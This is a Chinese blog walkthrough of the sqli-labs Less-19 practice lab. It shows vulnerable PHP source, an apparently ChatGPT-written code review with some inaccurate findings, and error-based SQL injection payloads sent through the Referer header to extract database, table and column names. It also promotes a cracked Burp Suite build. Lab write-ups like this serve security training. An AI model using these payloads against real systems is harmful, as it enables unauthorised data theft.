51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli-labs系列——Less-19

前言 {#前言}

这题呢,跟我们的Less-18是有点类似的,只是注入方式的不同 我们通过输入正确的账号和密码看出页面回显了Your Referer is: http://192.168.199.135/sqli-labs-master/Less-19/,由此看出我们本题的重心就要从Referer上入手

image-1687072995670

前期准备 {#前期准备}

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节 {#实验环节}

浏览器访问Less-19 {#浏览器访问Less-19}

http://192.168.199.135/sqli-labs-master/Less-19/

image-1687084158416

输入正确用户名密码判断注入方式 {#输入正确用户名密码判断注入方式}

通过之前实验我们知道的一组用户名密码,Dumb,Dumb

image-1687084266970

由上图猜测是基于referer头的注入,我们使用bp抓包后在referer后面加入单引号测试一下 这里我用的是最新版的绿色版bp,无需安装,windows使用,一键脚本激活,下载方式,点击主页的加群通知进入群聊获取各种优质工具包。进群的目的就是为了打造一个生态的开发及网络安全环境

图片-1687057235268

输入一个单引号 {#输入一个单引号}

发现页面出现报错 image-1687084512858

分析源码构造语句 {#分析源码构造语句}

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your Referer is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg" />';
			echo "<br>";

    		}




Chatgpt审计结果

这段代码是一个基于MySQL数据库的用户身份验证脚本。它首先从"users"表中选择"username"和"password"列,其中"username"和"password"值分别为$uname和$passwd的值,按照"id"列降序排列,只选出第一行。然后,它执行SQL查询语句并将结果存储在$result1变量中。接下来,它使用mysql_fetch_array()函数从结果集中获取一行数据并将其存储在$row1变量中。最后,它检查$row1是否有值,如果有,则执行以下操作:



1. 输出一个黄色的文本,显示"Your Referer is:"和$uagent的值。


2. 将$uagent和$IP的值插入到"referers"表中。


3. 输出一个蓝色的文本,显示"Your Referer is:"和$uagent的值。


4. 输出任何MySQL错误信息。


5. 输出一个图像文件"flag.jpg"。




从安全角度来看,这段代码存在以下问题:

`
`
* SQL注入攻击:$uname和$passwd的值未经过任何过滤或转义就直接插入到SQL查询语句中,可能导致SQL注入攻击。建议使用预处理语句或使用过滤函数(如mysql_real_escape_string())来防止SQL注入攻击。


* 明文密码存储:该脚本直接将明文密码存储在数据库中,建议使用哈希算法加密密码并将加密后的值存储到数据库中。


* 不安全的会话管理:该脚本没有任何会话管理机制,如会话ID的传递和验证等,容易受到会话劫持和会话固定攻击等攻击。建议使用PHP内置的会话管理函数(如session_start()和session_regenerate_id())来管理会话。


* 不安全的文件操作:该脚本没有对用户上传的文件进行任何检查或过滤,容易受到文件包含和文件上传漏洞等攻击。建议对用户上传的文件进行检查和过滤,或将用户上传的文件存储在与Web根目录之外的目录中。



* `不安全的输入验证:该脚本没有对用户输入进行任何验证或过滤,容易受到跨站脚本攻击和HTML注入攻击等攻击。建议对用户输入进行验证和过滤,如使用过滤函数(如htmlspecialchars()和strip_tags())来防止跨站脚本攻击。
  `

尝试构造闭合语句 {#尝试构造闭合语句}

我们发现页面未报错说明语句构造成功

',1)-- xz

image-1687084986209

判断数据库 {#判断数据库}

',updatexml(1,concat(0x3a,database(),0x3a),1))-- xz

image-1687085124035

判断表名 {#判断表名}

',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1))-- xz
.......查询其他表名limit用法我就不过多解释了,大家自行查看以前文章

image-1687085566670

判断列名 {#判断列名}

',updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1))	-- xz

image-1687086997398

判断字段名 {#判断字段名}

',updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1))-- xz

image-1687087302074

赞(0)
未经允许不得转载:工具盒子 » sqli-labs系列——Less-19